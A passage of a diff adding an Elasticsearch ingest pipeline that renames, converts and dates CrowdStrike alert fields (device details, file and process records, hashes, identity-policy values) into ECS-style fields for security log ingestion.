+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.alleged_filetype
+      tag: rename_alleged_filetype
+      target_field: crowdstrike.alert.alleged_filetype
+      ignore_missing: true
+  - rename:
+      field: json.assigned_to_name
+      tag: rename_assigned_to_name
+      target_field: crowdstrike.alert.assigned_to.name
+      ignore_missing: true
+  - rename:
+      field: json.assigned_to_uid
+      tag: rename_assigned_to_uid
+      target_field: crowdstrike.alert.assigned_to.uid
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_crowdstrike_alert_assigned_to_uid_into_related_user
+      value: '{{{crowdstrike.alert.assigned_to.uid}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.assigned_to?.uid != null
+  - rename:
+      field: json.assigned_to_uuid
+      tag: rename_assigned_to_uuid
+      target_field: crowdstrike.alert.assigned_to.uuid
+      ignore_missing: true
+  - foreach:
+      tag: foreach_json_associated_files_6443225a
+      field: json.associated_files
+      if: ctx.json?.associated_files instanceof List
+      processor:
+        append:
+          field: related.hash
+          tag: append_associated_files_sha256_into_related_hash
+          value: '{{{_ingest._value.sha256}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.associated_files
+      tag: rename_associated_files
+      target_field: crowdstrike.alert.associated_files
+      ignore_missing: true
+  - rename:
+      field: json.child_process_ids
+      tag: rename_child_process_ids
+      target_field: crowdstrike.alert.child_process_ids
+      ignore_missing: true
+  - rename:
+      field: json.cid
+      tag: rename_cid
+      target_field: crowdstrike.alert.cid
+      ignore_missing: true
+  - convert:
+      field: json.cloud_indicator
+      tag: convert_cloud_indicator_to_boolean
+      target_field: crowdstrike.alert.cloud_indicator
+      type: boolean
+      if: ctx.json?.cloud_indicator != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_3388312c
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.prevented
+      tag: convert_prevented_to_boolean
+      target_field: crowdstrike.alert.prevented
+      type: boolean
+      if: ctx.json?.prevented != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_fd4efaf4
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.worker_node_name
+      tag: rename_worker_node_name
+      target_field: crowdstrike.alert.worker_node_name
+      ignore_missing: true
+  - rename:
+      field: json.cmdline
+      tag: rename_cmdline
+      target_field: crowdstrike.alert.cmdline
+      ignore_missing: true
+  - rename:
+      field: json.command_line
+      tag: rename_command_line
+      target_field: crowdstrike.alert.command_line
+      ignore_missing: true
+  - set:
+      field: process.command_line
+      tag: set_process_command_line
+      copy_from: crowdstrike.alert.command_line
+      ignore_empty_value: true
+  - rename:
+      field: json.comment
+      tag: rename_comment
+      target_field: crowdstrike.alert.comment
+      ignore_missing: true
+  - rename:
+      field: json.composite_id
+      tag: rename_composite_id
+      target_field: crowdstrike.alert.composite_id
+      ignore_missing: true
+  - convert:
+      field: json.confidence
+      tag: convert_confidence_to_long
+      target_field: crowdstrike.alert.confidence
+      type: long
+      if: ctx.json?.confidence != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_056ec0de
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.context_timestamp
+      tag: date_context_timestamp
+      target_field: crowdstrike.alert.context_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.context_timestamp != null && ctx.json.context_timestamp != ''
+      on_failure:
+        - append:
+            tag: append_error_message_4c68faac
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.control_graph_id
+      tag: rename_control_graph_id
+      target_field: crowdstrike.alert.control_graph_id
+      ignore_missing: true
+  - rename:
+      field: json.crawl_edge_ids.Sensor
+      tag: rename_crawl_edge_ids_Sensor
+      target_field: crowdstrike.alert.crawl_edge_ids.Sensor
+      ignore_missing: true
+  - rename:
+      field: json.crawl_vertex_ids.Sensor
+      tag: rename_crawl_vertex_ids_Sensor
+      target_field: crowdstrike.alert.crawl_vertex_ids.Sensor
+      ignore_missing: true
+  - date:
+      field: json.crawled_timestamp
+      tag: date_crawled_timestamp
+      target_field: crowdstrike.alert.crawled_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.crawled_timestamp != null && ctx.json.crawled_timestamp != ''
+      on_failure:
+        - append:
+            tag: append_error_message_fc8893f7
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.created_timestamp
+      tag: date_created_timestamp
+      target_field: crowdstrike.alert.created_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.created_timestamp != null && ctx.json.created_timestamp != ''
+      on_failure:
+        - append:
+            tag: append_error_message_ca63e3f9
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.data_domains
+      tag: rename_data_domains
+      target_field: crowdstrike.alert.data_domains
+      ignore_missing: true
+  - rename:
+      field: json.description
+      tag: rename_description
+      target_field: crowdstrike.alert.description
+      ignore_missing: true
+  - set:
+      field: message
+      tag: set_message_from_alert_description
+      copy_from: crowdstrike.alert.description
+      ignore_empty_value: true
+  - rename:
+      field: json.detect_type
+      tag: rename_detect_type
+      target_field: crowdstrike.alert.detect_type
+      ignore_missing: true
+  - convert:
+      field: json.device.agent_load_flags
+      tag: convert_device_agent_load_flags_to_long
+      target_field: crowdstrike.alert.device.agent_load_flags
+      type: long
+      if: ctx.json?.device?.agent_load_flags != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_b98af92a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.device.agent_local_time
+      tag: date_device_agent_local_time
+      target_field: crowdstrike.alert.device.agent_local_time
+      formats:
+        - ISO8601
+      if: ctx.json?.device?.agent_local_time != null && ctx.json.device.agent_local_time != ''
+      on_failure:
+        - append:
+            tag: append_error_message_538d3a21
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.device.agent_version
+      tag: rename_device_agent_version
+      target_field: crowdstrike.alert.device.agent_version
+      ignore_missing: true
+  - rename:
+      field: json.device.bios_manufacturer
+      tag: rename_device_bios_manufacturer
+      target_field: crowdstrike.alert.device.bios_manufacturer
+      ignore_missing: true
+  - rename:
+      field: json.device.bios_version
+      tag: rename_device_bios_version
+      target_field: crowdstrike.alert.device.bios_version
+      ignore_missing: true
+  - rename:
+      field: json.device.cid
+      tag: rename_device_cid
+      target_field: crowdstrike.alert.device.cid
+      ignore_missing: true
+  - rename:
+      field: json.device.config_id_base
+      tag: rename_device_config_id_base
+      target_field: crowdstrike.alert.device.config_id_base
+      ignore_missing: true
+  - rename:
+      field: json.device.config_id_build
+      tag: rename_device_config_id_build
+      target_field: crowdstrike.alert.device.config_id_build
+      ignore_missing: true
+  - convert:
+      field: json.device.config_id_platform
+      tag: convert_device_config_id_platform_to_long
+      target_field: crowdstrike.alert.device.config_id_platform
+      type: long
+      if: ctx.json?.device?.config_id_platform != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_f3e43e5e
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.device.external_ip
+      tag: convert_device_external_ip_to_ip
+      target_field: crowdstrike.alert.device.external_ip
+      type: ip
+      ignore_missing: true
+      if: ctx.json?.device?.external_ip != null && ctx.json.device.external_ip != ''
+      on_failure:
+        - append:
+            tag: append_error_message_42084d15
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - append:
+      field: related.ip
+      tag: append_crowdstrike_alert_device_external_ip_into_related_ip
+      value: '{{{crowdstrike.alert.device.external_ip}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.external_ip != null
+  - append:
+      field: host.ip
+      tag: append_crowdstrike_alert_device_external_ip_into_host_ip
+      value: '{{{crowdstrike.alert.device.external_ip}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.external_ip != null
+  - date:
+      field: json.device.first_seen
+      tag: date_device_first_seen
+      target_field: crowdstrike.alert.device.first_seen
+      formats:
+        - ISO8601
+      if: ctx.json?.device?.first_seen != null && ctx.json.device.first_seen != ''
+      on_failure:
+        - append:
+            tag: append_error_message_aea505b6
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.device.groups
+      tag: rename_device_groups
+      target_field: crowdstrike.alert.device.groups
+      ignore_missing: true
+  - rename:
+      field: json.device.hostinfo.active_directory_dn_display
+      tag: rename_device_hostinfo_active_directory_dn_display
+      target_field: crowdstrike.alert.device.hostinfo.active_directory_dn_display
+      ignore_missing: true
+  - rename:
+      field: json.device.hostinfo.domain
+      tag: rename_device_hostinfo_domain
+      target_field: crowdstrike.alert.device.hostinfo.domain
+      ignore_missing: true
+  - set:
+      field: host.domain
+      tag: set_host_domain_from_alert_device_hostinfo_domain
+      copy_from: crowdstrike.alert.device.hostinfo.domain
+      ignore_empty_value: true
+  - append:
+      tag: append_related_hosts_2d0901db
+      field: related.hosts
+      value: '{{{host.domain}}}'
+      allow_duplicates: false
+      if: ctx.host?.domain != null
+  - rename:
+      field: json.device.hostname
+      tag: rename_device_hostname
+      target_field: crowdstrike.alert.device.hostname
+      ignore_missing: true
+  - set:
+      field: host.hostname
+      tag: set_host_hostname_from_alert_device_hostname
+      copy_from: crowdstrike.alert.device.hostname
+      ignore_empty_value: true
+  - append:
+      tag: append_related_hosts_ca923905
+      field: related.hosts
+      value: '{{{host.hostname}}}'
+      allow_duplicates: false
+      if: ctx.host?.hostname != null
+  - rename:
+      field: json.device.device_id
+      tag: rename_device_device_id
+      target_field: crowdstrike.alert.device.id
+      ignore_missing: true
+  - set:
+      field: device.id
+      tag: set_device_id_from_alert_device_id
+      copy_from: crowdstrike.alert.device.id
+      ignore_empty_value: true
+  - date:
+      field: json.device.last_seen
+      tag: date_device_last_seen
+      target_field: crowdstrike.alert.device.last_seen
+      formats:
+        - ISO8601
+      if: ctx.json?.device?.last_seen != null && ctx.json.device.last_seen != ''
+      on_failure:
+        - append:
+            tag: append_error_message_c4fe6db0
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.device.local_ip
+      tag: convert_device_local_ip_to_ip
+      target_field: crowdstrike.alert.device.local_ip
+      type: ip
+      ignore_missing: true
+      if: ctx.json?.device?.local_ip != null && ctx.json.device.local_ip != ''
+      on_failure:
+        - append:
+            tag: append_error_message_90137be3
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - append:
+      field: related.ip
+      tag: append_crowdstrike_alert_device_local_ip_into_related_ip
+      value: '{{{crowdstrike.alert.device.local_ip}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.local_ip != null
+  - append:
+      field: host.ip
+      tag: append_crowdstrike_alert_device_local_ip_into_host_ip
+      value: '{{{crowdstrike.alert.device.local_ip}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.local_ip != null
+  - gsub:
+      field: json.device.mac_address
+      tag: gsub_device_mac_address
+      pattern: '[:.]'
+      replacement: '-'
+      target_field: crowdstrike.alert.device.mac_address
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_d911be70
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - uppercase:
+      field: crowdstrike.alert.device.mac_address
+      tag: uppercase_device_mac_address
+      ignore_missing: true
+      if: ctx.crowdstrike?.alert?.device?.mac_address != ''
+      on_failure:
+        - append:
+            tag: append_error_message_2fa36041
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - append:
+      field: host.mac
+      value: '{{{crowdstrike.alert.device.mac_address}}}'
+      tag: append_device_mac_address_into_host_mac
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.mac_address != null
+  - rename:
+      field: json.device.machine_domain
+      tag: rename_device_machine_domain
+      target_field: crowdstrike.alert.device.machine_domain
+      ignore_missing: true
+  - append:
+      tag: append_related_hosts_9c327391
+      field: related.hosts
+      value: '{{{crowdstrike.alert.device.machine_domain}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.machine_domain != null
+  - rename:
+      field: json.device.major_version
+      tag: rename_device_major_version
+      target_field: crowdstrike.alert.device.major_version
+      ignore_missing: true
+  - rename:
+      field: json.device.minor_version
+      tag: rename_device_minor_version
+      target_field: crowdstrike.alert.device.minor_version
+      ignore_missing: true
+  - date:
+      field: json.device.modified_timestamp
+      tag: date_device_modified_timestamp
+      target_field: crowdstrike.alert.device.modified_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.device?.modified_timestamp != null && ctx.json.device.modified_timestamp != ''
+      on_failure:
+        - append:
+            tag: append_error_message_f62d2786
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.device.os_version
+      tag: rename_device_os_version
+      target_field: crowdstrike.alert.device.os_version
+      ignore_missing: true
+  - set:
+      field: host.os.full
+      tag: set_host_os_full_from_alert_device_os_version
+      copy_from: crowdstrike.alert.device.os_version
+      ignore_empty_value: true
+  - rename:
+      field: json.device.ou
+      tag: rename_device_ou
+      target_field: crowdstrike.alert.device.ou
+      ignore_missing: true
+  - rename:
+      field: json.device.platform_id
+      tag: rename_device_platform_id
+      target_field: crowdstrike.alert.device.platform_id
+      ignore_missing: true
+  - rename:
+      field: json.device.platform_name
+      tag: rename_device_platform_name
+      target_field: crowdstrike.alert.device.platform_name
+      ignore_missing: true
+  - set:
+      field: host.os.platform
+      tag: set_host_os_platform_from_alert_device_platform_name
+      copy_from: crowdstrike.alert.device.platform_name
+      ignore_empty_value: true
+  - rename:
+      field: json.device.pod_labels
+      tag: rename_device_pod_labels
+      target_field: crowdstrike.alert.device.pod_labels
+      ignore_missing: true
+  - rename:
+      field: json.device.product_type
+      tag: rename_device_product_type
+      target_field: crowdstrike.alert.device.product_type
+      ignore_missing: true
+  - rename:
+      field: json.device.product_type_desc
+      tag: rename_device_product_type_desc
+      target_field: crowdstrike.alert.device.product_type_desc
+      ignore_missing: true
+  - rename:
+      field: json.device.site_name
+      tag: rename_device_site_name
+      target_field: crowdstrike.alert.device.site_name
+      ignore_missing: true
+  - rename:
+      field: json.device.status
+      tag: rename_device_status
+      target_field: crowdstrike.alert.device.status
+      ignore_missing: true
+  - rename:
+      field: json.device.system_manufacturer
+      tag: rename_device_system_manufacturer
+      target_field: crowdstrike.alert.device.system_manufacturer
+      ignore_missing: true
+  - set:
+      field: device.manufacturer
+      tag: set_device_manufacturer
+      copy_from: crowdstrike.alert.device.system_manufacturer
+      ignore_empty_value: true
+  - rename:
+      field: json.device.system_product_name
+      tag: rename_device_system_product_name
+      target_field: crowdstrike.alert.device.system_product_name
+      ignore_missing: true
+  - set:
+      field: device.model.name
+      tag: set_device_model_name
+      copy_from: crowdstrike.alert.device.system_product_name
+      ignore_empty_value: true
+  - rename:
+      field: json.device.tags
+      tag: rename_device_tags
+      target_field: crowdstrike.alert.device.tags
+      ignore_missing: true
+  - foreach:
+      tag: foreach_crowdstrike_alert_device_tags_a1915566
+      field: crowdstrike.alert.device.tags
+      if: ctx.crowdstrike?.alert?.device?.tags instanceof List
+      processor:
+        append:
+          field: tags
+          tag: append_device_tags_into_tags
+          value: '{{{_ingest._value}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.display_name
+      tag: rename_display_name
+      target_field: crowdstrike.alert.display_name
+      ignore_missing: true
+  - foreach:
+      tag: foreach_json_documents_accessed_afb565b7
+      field: json.documents_accessed
+      if: ctx.json?.documents_accessed instanceof List
+      processor:
+        date:
+          field: _ingest._value.timestamp
+          tag: date_documents_accessed_timestamp
+          target_field: _ingest._value.timestamp
+          formats:
+            - UNIX
+            - UNIX_MS
+          on_failure:
+            - remove:
+                field: _ingest._value.timestamp
+                ignore_missing: true
+  - rename:
+      field: json.documents_accessed
+      tag: rename_documents_accessed
+      target_field: crowdstrike.alert.documents_accessed
+      ignore_missing: true
+  - convert:
+      field: json.email_sent
+      tag: convert_email_sent_to_boolean
+      target_field: crowdstrike.alert.email_sent
+      type: boolean
+      if: ctx.json?.email_sent != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_b088653e
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.end_time
+      tag: date_end_time
+      target_field: crowdstrike.alert.end_time
+      formats:
+        - ISO8601
+      if: ctx.json?.end_time != null && ctx.json.end_time != ''
+      on_failure:
+        - append:
+            tag: append_error_message_2fdf0e8d
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.end
+      tag: set_event_end_from_alert_end_time
+      copy_from: crowdstrike.alert.end_time
+      ignore_empty_value: true
+  - rename:
+      field: json.event_id
+      tag: rename_event_id
+      target_field: crowdstrike.alert.event_id
+      ignore_missing: true
+  - foreach:
+      tag: foreach_json_executables_written_d270852a
+      field: json.executables_written
+      if: ctx.json?.executables_written instanceof List
+      processor:
+        date:
+          field: _ingest._value.timestamp
+          tag: date_executables_written_timestamp
+          target_field: _ingest._value.timestamp
+          formats:
+            - UNIX
+            - UNIX_MS
+          on_failure:
+            - remove:
+                field: _ingest._value.timestamp
+                ignore_missing: true
+  - rename:
+      field: json.executables_written
+      tag: rename_executables_written
+      target_field: crowdstrike.alert.executables_written
+      ignore_missing: true
+  - rename:
+      field: json.falcon_host_link
+      tag: rename_falcon_host_link
+      target_field: crowdstrike.alert.falcon_host_link
+      ignore_missing: true
+  - rename:
+      field: json.filename
+      tag: rename_filename
+      target_field: crowdstrike.alert.filename
+      ignore_missing: true
+  - set:
+      field: file.name
+      tag: set_file_name_from_alert_filename
+      copy_from: crowdstrike.alert.filename
+      ignore_empty_value: true
+  - set:
+      field: process.name
+      tag: set_process_name
+      copy_from: crowdstrike.alert.filename
+      ignore_empty_value: true
+  - rename:
+      field: json.filepath
+      tag: rename_filepath
+      target_field: crowdstrike.alert.filepath
+      ignore_missing: true
+  - set:
+      field: file.path
+      tag: set_file_path_from_alert_filepath
+      copy_from: crowdstrike.alert.filepath
+      ignore_empty_value: true
+  - set:
+      field: process.executable
+      tag: set_process_executable
+      copy_from: crowdstrike.alert.filepath
+      ignore_empty_value: true
+  - foreach:
+      tag: foreach_json_file_writes_c1fc43a1
+      field: json.file_writes
+      if: ctx.json?.file_writes instanceof List
+      processor:
+        append:
+          field: related.hash
+          tag: append_file_writes_sha256_into_related_hash
+          value: '{{{_ingest._value.sha256}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.file_writes
+      tag: rename_file_writes
+      target_field: crowdstrike.alert.file_writes
+      ignore_missing: true
+  - foreach:
+      tag: foreach_json_files_accessed_df889ede
+      field: json.files_accessed
+      if: ctx.json?.files_accessed instanceof List
+      processor:
+        date:
+          field: _ingest._value.timestamp
+          tag: date_files_accessed_timestamp
+          target_field: _ingest._value.timestamp
+          formats:
+            - UNIX
+            - UNIX_MS
+          on_failure:
+            - remove:
+                field: _ingest._value.timestamp
+                ignore_missing: true
+  - rename:
+      field: json.files_accessed
+      tag: rename_files_accessed
+      target_field: crowdstrike.alert.files_accessed
+      ignore_missing: true
+  - foreach:
+      tag: foreach_json_files_written_4c004154
+      field: json.files_written
+      if: ctx.json?.files_written instanceof List
+      processor:
+        date:
+          field: _ingest._value.timestamp
+          tag: date_files_written_timestamp
+          target_field: _ingest._value.timestamp
+          formats:
+            - UNIX
+            - UNIX_MS
+          on_failure:
+            - remove:
+                field: _ingest._value.timestamp
+                ignore_missing: true
+  - rename:
+      field: json.files_written
+      tag: rename_files_written
+      target_field: crowdstrike.alert.files_written
+      ignore_missing: true
+  - rename:
+      field: json.global_prevalence
+      tag: rename_global_prevalence
+      target_field: crowdstrike.alert.global_prevalence
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.cmdline
+      tag: rename_grandparent_details_cmdline
+      target_field: crowdstrike.alert.grandparent_details.cmdline
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.filename
+      tag: rename_grandparent_details_filename
+      target_field: crowdstrike.alert.grandparent_details.filename
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.filepath
+      tag: rename_grandparent_details_filepath
+      target_field: crowdstrike.alert.grandparent_details.filepath
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.local_process_id
+      tag: rename_grandparent_details_local_process_id
+      target_field: crowdstrike.alert.grandparent_details.local_process_id
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.md5
+      tag: rename_grandparent_details_md5
+      target_field: crowdstrike.alert.grandparent_details.md5
+      ignore_missing: true
+  - append:
+      tag: append_related_hash_649c6a84
+      field: related.hash
+      value: '{{{crowdstrike.alert.grandparent_details.md5}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.grandparent_details?.md5 != null
+  - rename:
+      field: json.grandparent_details.process_graph_id
+      tag: rename_grandparent_details_process_graph_id
+      target_field: crowdstrike.alert.grandparent_details.process_graph_id
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.process_id
+      tag: rename_grandparent_details_process_id
+      target_field: crowdstrike.alert.grandparent_details.process_id
+      ignore_missing: true
+  - rename:
+      field: json.grandparent_details.sha256
+      tag: rename_grandparent_details_sha256
+      target_field: crowdstrike.alert.grandparent_details.sha256
+      ignore_missing: true
+  - append:
+      tag: append_related_hash_a759b902
+      field: related.hash
+      value: '{{{crowdstrike.alert.grandparent_details.sha256}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.grandparent_details?.sha256 != null
+  - date:
+      field: json.grandparent_details.timestamp
+      tag: date_grandparent_details_timestamp
+      target_field: crowdstrike.alert.grandparent_details.timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.grandparent_details?.timestamp != null && ctx.json.grandparent_details.timestamp != ''
+      on_failure:
+        - append:
+            tag: append_error_message_f54f16cd
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.grandparent_details.user_graph_id
+      tag: rename_grandparent_details_user_graph_id
+      target_field: crowdstrike.alert.grandparent_details.user_graph_id
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_user_graph_id_into_related_user
+      value: '{{{crowdstrike.alert.grandparent_details.user_graph_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.grandparent_details?.user_graph_id != null
+  - rename:
+      field: json.grandparent_details.user_id
+      tag: rename_grandparent_details_user_id
+      target_field: crowdstrike.alert.grandparent_details.user_id
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_grandparent_details_user_id_into_related_user
+      value: '{{{crowdstrike.alert.grandparent_details.user_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.grandparent_details?.user_id != null
+  - rename:
+      field: json.grandparent_details.user_name
+      tag: rename_grandparent_details_user_name
+      target_field: crowdstrike.alert.grandparent_details.user_name
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_grandparent_details_user_name_into_related_user
+      value: '{{{crowdstrike.alert.grandparent_details.user_name}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.grandparent_details?.user_name != null
+  - convert:
+      field: json.has_script_or_module_ioc
+      tag: convert_has_script_or_module_ioc_to_boolean
+      target_field: crowdstrike.alert.has_script_or_module_ioc
+      type: boolean
+      if: ctx.json?.has_script_or_module_ioc != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_6b069dda
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.host_name
+      tag: rename_host_name
+      target_field: crowdstrike.alert.host_name
+      ignore_missing: true
+  - set:
+      field: host.name
+      tag: set_host_name_from_alert_host_name
+      copy_from: crowdstrike.alert.host_name
+      ignore_empty_value: true
+  - append:
+      tag: append_related_hosts_452ef445
+      field: related.hosts
+      value: '{{{host.name}}}'
+      allow_duplicates: false
+      if: ctx.host?.name != null
+  - rename:
+      field: json.host_type
+      tag: rename_host_type
+      target_field: crowdstrike.alert.host_type
+      ignore_missing: true
+  - set:
+      field: host.type
+      tag: set_host_type_from_alert_host_type
+      copy_from: crowdstrike.alert.host_type
+      ignore_empty_value: true
+  - script:
+      tag: reconstruct_has_script_or_module_ioc_from_ioc_context
+      lang: painless
+      if: ctx.crowdstrike?.alert?.has_script_or_module_ioc == null && ctx.json?.ioc_context instanceof List
+      source: |
+        if (ctx.crowdstrike == null) {
+          ctx.crowdstrike = [:];
+        }
+        if (ctx.crowdstrike.alert == null) {
+          ctx.crowdstrike.alert = [:];
+        }
+        for (def c: ctx.json.ioc_context) {
+          if (c.type == 'module' || c.type == 'script') {
+            ctx.crowdstrike.alert.has_script_or_module_ioc = true;
+            return;
+          }
+        }
+        ctx.crowdstrike.alert.has_script_or_module_ioc = false;
+  - rename:
+      field: json.id
+      tag: rename_id
+      target_field: crowdstrike.alert.id
+      ignore_missing: true
+  - set:
+      field: event.id
+      tag: set_event_id_from_alert_id
+      copy_from: crowdstrike.alert.id
+      ignore_empty_value: true
+  - convert:
+      field: json.idp_policy_enforced_externally
+      tag: convert_idp_policy_enforced_externally_to_long
+      target_field: crowdstrike.alert.idp_policy.enforced_externally
+      type: long
+      if: ctx.json?.idp_policy_enforced_externally != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_e21c42b5
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.idp_policy_mfa_factor_type
+      tag: convert_idp_policy_mfa_factor_type_to_long
+      target_field: crowdstrike.alert.idp_policy.mfa_factor_type
+      type: long
+      if: ctx.json?.idp_policy_mfa_factor_type != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_922f1ac1
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.idp_policy_mfa_provider
+      tag: convert_idp_policy_mfa_provider_to_long
+      target_field: crowdstrike.alert.idp_policy.mfa_provider
+      type: long
+      if: ctx.json?.idp_policy_mfa_provider != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_c078ba79
+            field: error.message
